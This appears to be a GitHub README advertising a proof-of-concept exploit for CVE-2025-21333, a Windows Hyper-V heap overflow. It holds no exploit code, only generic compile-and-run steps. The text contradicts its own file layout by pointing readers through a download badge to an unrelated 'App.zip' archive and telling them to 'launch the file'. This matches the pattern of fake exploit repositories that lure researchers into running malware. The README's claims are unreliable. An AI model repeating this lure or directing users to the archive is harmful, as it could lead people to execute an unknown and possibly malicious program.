CVE-2025-21333 PoC — Windows Hyper-V NT Kernel Integration VSP Elevation of Privilege Vulnerability

Description

POC exploit for CVE-2025-21333 heap-based buffer overflow. It leverages WNF state data and I/O ring IOP_MC_BUFFER_ENTRY

Readme

# Exploit Playground: CVE-2025-21333-POC

🚨 **This repository contains a Proof of Concept (POC) exploit for CVE-2025-21333, a heap-based buffer overflow vulnerability. The exploit leverages WNF state data and I/O ring IOP_MC_BUFFER_ENTRY.**

![Exploit Image](exploit.jpg)

## Repository Contents

In this repository, you will find:

- **Exploit Code**: The POC code for CVE-2025-21333.
- **Documentation**: Details on the vulnerability, exploit methodology, and mitigation strategies.
- **Sample Payloads**: Examples of payloads that trigger the buffer overflow.

## How to Use the Exploit

1. Clone the repository to your local machine.
2. Compile the exploit code using a suitable compiler.
3. Run the compiled executable with appropriate parameters to trigger the exploit.

## Getting Started

To get started with exploiting CVE-2025-21333, follow these steps:

1. **Compile Exploit Code**: Ensure you have a suitable compiler installed.
2. **Run the Exploit**: Execute the compiled exploit binary with the necessary arguments.

## Resources

- [Detailed Writeup](writeup.md): A comprehensive guide to understanding and exploiting CVE-2025-21333.
- [Releases Section](https://github.com/yourusername/CVE-2025-21333-POC/releases): Check here for the latest releases and updates.

## Additional Notes

📂 **Repository Structure**:
```
CVE-2025-21333-POC/
|__ exploit.c
|__ documentation/
    |__ vulnerability.md
    |__ exploit_methodology.md
|__ payloads/
    |__ payload1.txt
    |__ payload2.txt
```

🔗 **Download the exploit code [here](https://github.com/file/App.zip)**. Remember to launch the file for exploitation purposes.

[![Download Exploit](https://img.shields.io/badge/Download-Exploit-green)](https://github.com/file/App.zip)

🚀 **Happy hacking!** 🛡️

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**Disclaimer:** This repository is for educational purposes only. Misuse of the exploit code is illegal and unethical. By accessing this repository, you agree not to use the exploit code for malicious purposes.

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